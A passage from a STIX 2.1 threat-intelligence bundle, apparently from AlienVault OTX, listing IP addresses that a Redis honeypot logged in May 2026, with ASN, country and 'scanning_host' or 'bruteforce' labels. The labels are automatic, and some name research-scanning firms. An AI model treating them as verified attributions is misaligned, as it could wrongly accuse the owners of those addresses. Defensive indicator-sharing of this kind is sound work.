        "indicator--846c2b43-dcd0-4167-9d4a-742f4e20790c",
        "indicator--985d175e-cc53-443b-a795-07debdd7f6fb",
        "indicator--a0d064f3-dc7d-4bc4-a4c4-0c6734b84448",
        "indicator--cd453222-c852-4203-933a-9f930cc0bf49",
        "indicator--ac122913-d09d-4bd8-8f27-ad7e437cb08d",
        "indicator--420605b1-c383-4b46-a6c7-76be887ed3f8",
        "indicator--b81581cd-e0f8-4653-a477-5d172f6adc3a",
        "indicator--c45bfef3-c91d-4089-9b0a-6b3c04b40307",
        "indicator--49b26535-ab32-4abc-85d0-563c7cf1f8e6",
        "indicator--0be9b534-e5e1-4eeb-9a16-a52ddea60592",
        "indicator--ba226440-2fbf-4ab0-9b6c-254ceb326459",
        "indicator--1800bb2a-5a77-41fd-8d85-534f7d5d07d1",
        "indicator--14903fa1-7524-4fd4-9ed3-b2d7d6facb47",
        "indicator--acd401f6-7821-438e-a12d-293398040c93",
        "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
        "indicator--4fb2ff2c-681a-44c9-af70-3c461fac67b0",
        "indicator--dfb7b648-32bd-4dfa-80cf-ca98480f5822",
        "indicator--1351e28d-90c1-4d3b-9013-98c90792cd0b",
        "indicator--56fc546b-4526-458a-91a9-95e6f86210d5",
        "indicator--8196bd27-8ebb-426a-a044-ab1d192ea13b",
        "indicator--d94dd246-d6f8-486a-b6b7-7f0131dd6977",
        "indicator--bfb81fac-7fb0-48b4-a8ed-ef747347acb7",
        "indicator--de271026-418d-41be-a159-4964ca5f209d",
        "indicator--23ed022c-4dd5-4519-bd0b-9712f151d8a6",
        "indicator--5b07cda8-82da-44a8-baf0-a46b640c2cc6",
        "indicator--66751c46-6eec-4256-bd33-508e962890c5",
        "indicator--c1ee61ab-158b-4fc0-b5a7-4cac825e903d",
        "indicator--90f0f14f-3f26-4acd-b0a7-a54ca9f96515",
        "indicator--ed44c9e4-dd97-4429-8d54-b4bc92dffcba",
        "indicator--8499b0fa-1787-4b73-8e80-4a94b3687503",
        "indicator--63e05af9-773b-4604-b700-84fe65c3b5bb",
        "indicator--5248052d-fd15-4102-8b4d-80b457a5b775",
        "indicator--6e2649e5-6163-4088-b8b1-d2ebf44c835c",
        "indicator--e02189e8-06fe-4dcb-8563-0f015e916110",
        "indicator--31950fdd-47c7-4e71-899e-a7ac8c0f035d",
        "indicator--59ef20c3-0333-4a67-9a48-1f28fbb2c3d7",
        "indicator--2f438faf-ccdd-4aa4-8b97-6ed092e4b28b",
        "indicator--6e37b85a-a4d8-4e78-80d3-2f4d8a1e2cb4",
        "indicator--778360f5-aca0-46d4-9dad-1e2ed94f0368",
        "indicator--10a7fd5d-b821-4f1a-8181-a28412f28da5",
        "indicator--d4225d28-8876-461a-88dd-495a045f11ef",
        "indicator--6854a3cc-5972-4cc4-b858-2cf960b92838",
        "indicator--09122ccd-82a0-40b6-8e68-907bf67ad58e",
        "indicator--e2fd59cd-7d52-460c-8305-b354816000e7",
        "indicator--ab0bf75d-711f-41e2-aa83-a0a57cc9e1c5",
        "indicator--2b756b05-034e-411b-945f-5e8b99e0b194",
        "indicator--3f876cab-51b4-4990-88a8-045ea93c4fcc",
        "indicator--6fa41ca1-6429-447f-9525-e11c40f3d58a",
        "indicator--c6c03ab1-80e8-40f9-a50f-edbdcbae995a",
        "indicator--57c81971-2456-4b7f-94a5-9971c27db005",
        "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
        "indicator--794f5f16-9b41-4e54-a5bc-d958b072213b",
        "indicator--73df43bc-1019-4584-8a14-1c437af8361a",
        "indicator--319cf0ed-9adb-4c9f-9624-7d2cea07e0e3",
        "indicator--2d625f2e-35d8-4303-a9d4-820b68c0b794",
        "indicator--d5364081-3480-4139-9894-855b8073df55",
        "indicator--b3a01f24-9ff5-4558-89cd-b3c9dbb134da",
        "indicator--18f5a056-78d8-4a5b-9163-7457e4fc52a4",
        "indicator--87fab8b2-02a2-4af3-8e3a-85583ef735f0",
        "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
        "indicator--5f463d11-f583-401f-a9a1-703d94738290",
        "indicator--0a5ed2f0-4eca-4f11-a6df-e576020e38ee",
        "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
        "indicator--52fe56b4-1f4e-4aec-b4d7-bd090c4ffd24",
        "indicator--4175dee4-9c3d-44bf-94aa-99a98cca022e",
        "indicator--416e4a21-4f24-42a8-9e49-712666aa3deb",
        "indicator--f92076a9-9728-400b-83b6-4c6c51de7784",
        "indicator--3a827718-21e3-41e6-9c60-ef48af8bc7cd",
        "indicator--681e75f8-f5bb-49f3-9e1c-7b82a09faa91",
        "indicator--0fa778ff-e856-4112-a989-33059da1178e",
        "indicator--56bd2568-65eb-4737-ab73-bb26894a0871",
        "indicator--3427f57a-2ea0-4526-b941-ced0723a8336",
        "indicator--f28f2745-c6e2-4149-97e9-837b2bdcd08a",
        "indicator--08a34629-ac36-47a2-bcd3-e8a32d74e886",
        "indicator--084227a5-fbbf-4ecb-bf5f-b3b113a8998f",
        "indicator--59e82764-3c26-4632-9135-8213d9ade5fa",
        "indicator--3d452864-3c30-4a3c-9b63-b552270b0d06",
        "indicator--c3ab4d2f-8fb5-4e15-b2d9-7e0c22d59a2b",
        "indicator--08acf91c-c26f-4c00-9b61-e389ac125046",
        "indicator--008131b8-aeef-4d07-856a-18343031c4cf",
        "indicator--3c8926f6-bc41-4492-881f-24e41946471c",
        "indicator--83cf0401-2069-4004-b084-764a3e58a429",
        "indicator--73ec225d-d2e1-4d4e-8cda-ac93d949ab90",
        "indicator--c31c93f0-d3fb-4007-a84a-7d38fd969fcb",
        "indicator--17f0557e-2305-4677-929d-05b8df41024a",
        "indicator--92220305-ace6-4809-85b1-07cef07e55fe",
        "indicator--c6a9f83c-bf8e-4dba-8b52-01c70f4d766d",
        "indicator--5a8b1dd6-5a1e-47f3-b19e-0d03ce2a9494",
        "indicator--5687dec9-cac3-4108-9702-38023425e284",
        "indicator--8852c520-7c0d-466b-88f0-663f954e59d7",
        "indicator--3b5b88a6-b92c-49fc-b252-60bafff1fb9e",
        "indicator--6e7b1ddb-0558-4595-ba16-adf1e620c442",
        "indicator--ed938d28-aeb4-4795-abb9-d3fecb6e0bed",
        "indicator--c1e3a8f7-5f48-4f68-9fcb-3b139e65e5bb",
        "indicator--2a4d3ba7-24a3-4ee6-91cf-f84250854467",
        "indicator--2ec209d3-125a-4cd1-ade4-04bfc8527304",
        "indicator--9c90f64b-404c-4473-b7c7-271e26ff3093",
        "indicator--ee839113-c039-4274-93b1-a772f19510c1",
        "indicator--bcda6eda-cba1-4347-ac1b-cf184eadfed7",
        "indicator--11c49171-bc8e-4233-932c-3adee3dc4a54",
        "indicator--55e0997a-efaf-4260-b7bd-d8f1e8702a47",
        "indicator--07a99165-f7b8-4c36-ba07-62a6b74aa706",
        "indicator--c467ebbc-6e57-48cc-83f0-bb172787f2e6",
        "indicator--04153040-86e1-42d6-943d-3d3a4f37f82d",
        "indicator--78b36540-ea30-4a2a-8821-f21a28877b41",
        "indicator--f2c92e86-6835-4e9b-a46d-5b9cfd5c577c",
        "indicator--c65dc3dd-0de5-42b2-99cd-e7c0b645bbbe",
        "indicator--5ce41bc7-9b55-4434-8cc7-4f275dfa55d1",
        "indicator--c7f03cd5-ea7f-4ef5-afb5-3aca1c6e3f51",
        "indicator--cf0c0e8f-b3d2-4c37-bb81-f1ec3ee3963a",
        "indicator--d6597bb7-cd7b-4152-b93e-8e9248f32004",
        "indicator--2a1f73df-d37c-4000-a16b-e1c7067cdee6",
        "indicator--f82a4222-3be3-4a26-8d7d-cddeffa3fa60",
        "indicator--2ef3526b-7faa-47d5-9b06-879edc03eded",
        "indicator--21ea352a-8d2a-46a8-9e47-c965befafb15",
        "indicator--5377a621-13fb-4783-ac0f-471bf7758394",
        "indicator--bc525d2c-d90b-4f54-8699-ad225d46003e",
        "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
        "indicator--f76aa438-3b06-47dd-a082-d2675d7e4577",
        "indicator--5176f7f2-2e68-4c83-9829-7f129dd0f661",
        "indicator--801bea5f-58ee-492e-a82a-bbfdd973810d",
        "indicator--e28225b2-baa4-481f-a59e-3c594ab7f92b",
        "indicator--ef3fac86-f464-4a1b-9ecb-66f3ac3df3b8",
        "indicator--abb4dc2f-b6ca-4f48-b5e0-14258bba1bc1",
        "indicator--d01eef29-a8b2-4a62-9e2a-87b46b9d453f",
        "indicator--9e83ef5b-958a-4cf8-a0fd-a989b36777f5",
        "indicator--2531d97c-085d-46d4-83e5-0023275484dd",
        "indicator--4e3ab079-946e-4db5-a9a0-61704b51706b",
        "indicator--bab0ce73-173e-4db8-a0b5-27213c1662db",
        "indicator--ef8b514d-d2d4-4db7-a881-f6ab6f280ba1",
        "indicator--cad4e448-24c9-409e-95b9-763f8acdb462",
        "indicator--5d0ff20d-e80f-46df-ad97-54718799d9dd",
        "indicator--0ff97f38-1a05-42d2-8bb5-247e93d25640",
        "indicator--9f4776ab-dd7a-4288-ba36-fe9d7feac8ae",
        "indicator--f21d4e97-4986-4053-a18a-408956e3d2e5",
        "indicator--5e4f2621-6054-4d8d-8713-92d74c53affe",
        "indicator--f49f5ac7-d2c7-4945-87e5-2a5c7f202ea8",
        "indicator--d5822814-ba47-400d-91a8-f7e8a7bb0391",
        "indicator--6835e72c-6bea-49c4-9430-50478c37af8e",
        "indicator--ab957f89-acec-4f34-9e0e-df7516aace68",
        "indicator--edd610f8-94b0-4afe-acdf-c2f58bd44633",
        "indicator--22a8d227-98b8-430c-8ef9-f94ea76680e3",
        "indicator--43d0961d-908f-4997-a195-eb68b32e77eb",
        "indicator--9527f515-d215-4edf-b39e-0c994ab345c6",
        "indicator--023ed1db-c29b-4d08-b650-af6b0a8d8e25",
        "indicator--e68c3074-a7ec-45cb-a6b1-c9fb63f498ee",
        "indicator--96a97265-fd6b-4fe2-bde4-9802dd8c6a2d",
        "indicator--a2d6e53a-ef0f-49aa-8fcb-4611a99fc02e",
        "indicator--8cd54ffa-f4e6-4179-9bbc-455a371f0f5e",
        "indicator--4653caf7-fa8e-4238-beb1-8a8aa51261d2",
        "indicator--758b38c7-9455-4cfe-8886-9f65ff5c2126",
        "indicator--721aac7c-9d20-40d7-913a-cb0302db9a06",
        "indicator--2b11effe-e251-4f68-a594-220f653d4961",
        "indicator--23c92e9a-5653-42c9-894a-7f4c5333374b",
        "indicator--8f155738-3760-40b0-9dd4-82781b3b084e",
        "indicator--170790b2-a92f-4f8e-afbb-42a84bf8ac95",
        "indicator--a2f6cc02-b477-4aaa-91c0-5318a669db37",
        "indicator--9f2415aa-214f-49b3-98b9-cfe2aa478be0",
        "indicator--9ae88fec-c87f-473a-920c-ce3e5ba92ff3",
        "indicator--3a9bee75-262c-4d6c-97be-704aed0c4196",
        "indicator--e5ca9101-c9cd-4423-b8ee-842bab896ab4",
        "indicator--4fd1b215-4b56-415f-81c7-ed673ec248d8",
        "indicator--ef6d1c92-16c6-413a-913a-e0ebcafa9c8d",
        "indicator--77e0a20a-4f26-4b23-92d1-fc9df33ffe10",
        "indicator--d94af259-c50e-4bf6-a5cb-94b266d16a96",
        "indicator--35d0f1c4-3a85-4521-9941-3be1c95a2012",
        "indicator--d567a83d-ba81-4a01-a4a9-3d477135dcfc",
        "indicator--8b461b16-7bf7-40af-8468-0afb112154d1",
        "indicator--2376a0e5-88e9-4d2e-9255-48aff869146c",
        "indicator--0f16b65d-1f7b-4205-bc33-e8a5780a9806",
        "indicator--3843a2be-8888-48a1-a85c-2f9135d1378e",
        "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
        "indicator--1faf0bf9-1477-42ed-a582-a6e1cec15b64",
        "indicator--0724f7e5-0c55-4fb9-bcce-28856ef6f5a9",
        "indicator--be80cae7-6ae8-4fb7-b2a0-809f203f4b97",
        "indicator--ffadaa1c-3e52-4bf8-a5d6-2a5511189457",
        "indicator--12c31996-32af-4842-802e-76f2ed341fbc",
        "indicator--7f5f4b7c-2f11-4161-b38d-e45746d77aa4",
        "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
        "indicator--7778318d-9605-473d-a37d-0d8aa916f2c2",
        "indicator--6cd88b5e-3a84-4d7b-9c9b-cbe312f43ac8",
        "indicator--dd32b757-82d1-4a1b-a704-c42af0f775db",
        "indicator--ada5160d-a91f-4a2d-9621-1aa9fcde905b",
        "indicator--a19f8142-9800-4c50-a9d6-b8c65b804679",
        "indicator--cdb9ef33-6197-4b2f-a6d2-8a543ff0375c",
        "indicator--1ed32274-b27e-4982-81ee-6b29a312c911",
        "indicator--6b1c20df-53b0-4dfb-bcd0-4347842aac26",
        "indicator--1f029460-371d-41e2-92ba-c9dcbc719f49",
        "indicator--c2d499ce-bd9a-4bab-b67f-104629804ebc",
        "indicator--5fbe2084-b986-4aed-801b-4c57b79b4cec",
        "indicator--4a52f85a-873b-4a21-8f60-61ef5ceec466",
        "indicator--61bacebf-1910-4d67-86e7-55418915fc4a",
        "indicator--f147eb61-cb6a-44e5-9adc-82b6fec8bce3",
        "indicator--7e0e0a54-f03f-42fd-aaa8-a36c13afd6fb",
        "indicator--35c03d8e-255b-4316-bba9-6a9fcc93f14d",
        "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
        "indicator--2c62911f-67a8-43b1-ab8a-1501365411bb",
        "indicator--e54cda83-9a82-4aa2-b8c5-8734ded01f1e",
        "indicator--cc215133-f976-412d-8b94-caf5d22e63a6",
        "indicator--d70c4f00-20e9-4979-88e7-08e2ae96eea7",
        "indicator--f329ad28-4ac6-4e42-8b63-22e493ec8f67",
        "indicator--bb8fad44-4516-4551-9036-c07df8e7e8b6",
        "indicator--5e018229-556b-4dbd-b37f-f1ef78742c25",
        "indicator--d03cf6ae-9476-4a51-8ea1-adb0ed80ee99",
        "indicator--5546d2da-7c64-4914-ad17-3be027aa844e",
        "indicator--5638aabc-739c-4254-8032-1a8be383f58b",
        "indicator--b4a05d0b-813b-4960-8e75-b41687de2405",
        "indicator--328ca3da-4ce5-4afa-9add-779b83049945",
        "indicator--3feeb896-1e53-4a12-9e80-b2b8554a3e1d",
        "indicator--0f7b8552-2ce5-4b9f-9090-d2b823ddb116",
        "indicator--922516fb-c862-414f-9a49-56b2363d95d0",
        "indicator--6dc65942-b6e0-4340-b9b6-0912eca86f83",
        "indicator--f24a845e-928f-47b5-94b8-f1bf49c7c0ec",
        "indicator--d4c7373e-53c5-4552-835b-a9107ef41e1a",
        "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
        "indicator--19c49908-195c-447a-abfb-ea9aaf450e66",
        "indicator--35bf83cc-2c64-4098-9f64-2b084adabf02",
        "indicator--a94a71ca-4a75-4e77-9255-98586ae81c0b",
        "indicator--a6fd9c77-539c-4fe5-838d-4f4d366cd53f",
        "indicator--113bc352-339d-4760-a6ea-f4ef5ae08294",
        "indicator--64b0efaf-5441-437a-bccf-be21eaa73b7a",
        "indicator--b7caec15-086a-4999-ac9f-8755d3705a6c",
        "indicator--311bda19-b399-49de-b33e-b958fe1e134a",
        "indicator--dc199969-4548-4900-aa6c-7cbce613af0b",
        "indicator--dbfad94a-77f8-42c9-a75d-dd4f69c9e456",
        "indicator--746133ee-5f06-41f4-94c8-4f90091ca3c3",
        "indicator--43deacf6-671e-4ccf-bcdd-8ecdb2d6532b",
        "indicator--6ee76900-c9f7-444a-ac2f-a2a6c9a82be0",
        "indicator--fcd9ba8d-19b2-48c0-a445-cb2e1377a7a1",
        "indicator--3e202a8b-4a72-4de2-9dd8-cf1f9160eb6d",
        "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
        "indicator--2557695b-25e4-48db-803e-b15eae04d432",
        "indicator--a870a7dc-b73c-4f66-ac00-407726c89117",
        "indicator--e1de4e4c-ad20-413b-b823-04026c5848bf",
        "indicator--40b0e6ad-060b-4d0b-8532-a43648859ec8",
        "indicator--cb5393f1-f0a2-495d-abc0-da1fc085a6ed",
        "indicator--f3a2f86f-1b61-42ff-b947-72a8af6fe83f",
        "indicator--0434c97c-b331-4625-8603-0d584843f6eb",
        "indicator--3c85be06-c16b-4456-b3c5-8dfd0c0e816f",
        "indicator--e580a70b-37e9-4779-95a8-96a668d76758",
        "indicator--74eb3a7d-8179-458a-80e3-037b9a178603",
        "indicator--0c536670-11e5-4514-b30c-1684f89bc3a9",
        "indicator--b2cadc4b-781d-43e2-8e47-a44710162b35",
        "indicator--c40e3bb2-b558-4752-befd-f8b31cb29e09",
        "indicator--0100f685-cfad-402a-aaf5-1dff9121a0d9",
        "indicator--98c85f96-9b85-4949-9512-9681dd2b382a",
        "indicator--3976a9ee-33fe-4fd6-b4c7-0bbf0545ce5c",
        "indicator--4a4a041f-4fb3-4958-841f-3d4124afd62d",
        "indicator--6169aa37-4c72-4f68-b5d5-88ff2f18837b",
        "indicator--821cea58-fcb8-4710-b985-aaa9892e116a",
        "indicator--26772517-d9af-4287-86c8-7ae2b129db0e",
        "indicator--b7bf7830-2c56-4b4d-94e2-5d22317f8a31",
        "indicator--1b43aaed-8b76-45a2-a4fe-15b1c65c4bc3",
        "indicator--df87ef89-89ea-4a0c-ab73-1b5510360559",
        "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
        "indicator--589e458c-c3bc-4973-a61e-b936dadb0df2",
        "indicator--cb630de5-e04e-469f-b77a-84dc257473a7",
        "indicator--84d50f47-1248-41b8-a4ca-0b48b1402f61",
        "indicator--b49db0f2-9f22-47bd-bf0d-f0b98c7cde43",
        "indicator--df781af4-27b7-44dd-bbfa-f2da39d025af",
        "indicator--66c2b666-febb-45c9-9070-0d6ef925b210",
        "indicator--dd8df2d5-77b2-44db-be8d-d754bd3c1cf6",
        "indicator--e8c3500a-28a5-420d-9c07-4583f0632355",
        "indicator--054f2f79-dc0a-43e0-9f36-45f13e08f57a",
        "indicator--32107618-4db0-4cd8-89c6-8a951ba5cb78",
        "indicator--e2b73200-281d-42ae-bcf5-897808f7f43e"
      ],
      "published": "2026-05-01T01:25:05.068Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-05-01T01:25:05.068Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-05-01T01:25:05.068Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-05-01T01:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--a4c16a2b-639e-4bcb-aa07-8a26bd381e64",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T01:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.121.27.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:25:05.000Z",
      "valid_until": "2026-06-02T01:25:01.000Z"
    },
    {
      "created": "2026-05-01T01:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--f0da1e29-c4d9-47bf-a394-4cfab1374604",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T01:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.131.24.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:25:05.000Z",
      "valid_until": "2026-06-02T01:25:01.000Z"
    },
    {
      "created": "2026-05-01T02:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--9fbdb126-5fd5-4ccf-8776-6b8976979f3a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T02:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '218.59.175.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:25:05.000Z",
      "valid_until": "2026-06-02T02:25:04.000Z"
    },
    {
      "created": "2026-05-01T02:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=30600; asn_org=Metronet; redis_cmd_hits=0",
      "id": "indicator--a8756b87-b2ab-4cfb-a63a-f928ebba57e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '46.110.173.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:25:05.000Z",
      "valid_until": "2026-06-02T02:25:04.000Z"
    },
    {
      "created": "2026-05-01T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=141679; asn_org=China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch; redis_cmd_hits=0",
      "id": "indicator--c03ac74d-6b04-4b18-b64d-0b092b410437",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '117.72.186.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:25:10.000Z",
      "valid_until": "2026-06-02T03:25:09.000Z"
    },
    {
      "created": "2026-05-01T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=37; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--581ec440-6f99-4ae4-a7ee-b5957bf0716e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:25:10.000Z",
      "valid_until": "2026-06-02T03:25:09.000Z"
    },
    {
      "created": "2026-05-01T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--8dbe59bb-4007-49b7-82d8-945ae3951619",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:25:10.000Z",
      "valid_until": "2026-06-02T03:25:09.000Z"
    },
    {
      "created": "2026-05-01T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--9ac8f364-cd4d-4b4e-8e26-8008455485ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:25:10.000Z",
      "valid_until": "2026-06-02T03:25:09.000Z"
    },
    {
      "created": "2026-05-01T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; redis_cmd_hits=0",
      "id": "indicator--1145077c-2517-4617-89f2-667b7d5a009e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:25:10.000Z",
      "valid_until": "2026-06-02T03:25:09.000Z"
    },
    {
      "created": "2026-05-01T04:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--34bd67ed-a033-496c-97f4-c6a228f7ce01",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T04:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:25:11.000Z",
      "valid_until": "2026-06-02T04:25:09.000Z"
    },
    {
      "created": "2026-05-01T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--f9e103c2-5494-4119-b8ea-5d54734e3d82",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.56.146.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:25:10.000Z",
      "valid_until": "2026-06-02T05:25:09.000Z"
    },
    {
      "created": "2026-05-01T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=75; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.116.101.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:25:10.000Z",
      "valid_until": "2026-06-02T05:25:09.000Z"
    },
    {
      "created": "2026-05-01T07:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=56046; asn_org=China Mobile communications corporation; redis_cmd_hits=0",
      "id": "indicator--5b1ed4aa-c0a7-419e-a2c5-f6b206da1763",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '221.130.29.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:25:06.000Z",
      "valid_until": "2026-06-02T07:25:04.000Z"
    },
    {
      "created": "2026-05-01T07:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38283; asn_org=CHINANET SiChuan Telecom Internet Data Center; redis_cmd_hits=0",
      "id": "indicator--51d9ebf3-56fc-42aa-9e17-1301673254e2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T07:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '221.236.21.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:25:06.000Z",
      "valid_until": "2026-06-02T07:25:04.000Z"
    },
    {
      "created": "2026-05-01T07:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--66850bf9-1b07-43d0-95e4-75db418202ce",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T07:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '61.242.178.28']",
      "pattern_type": "stix",
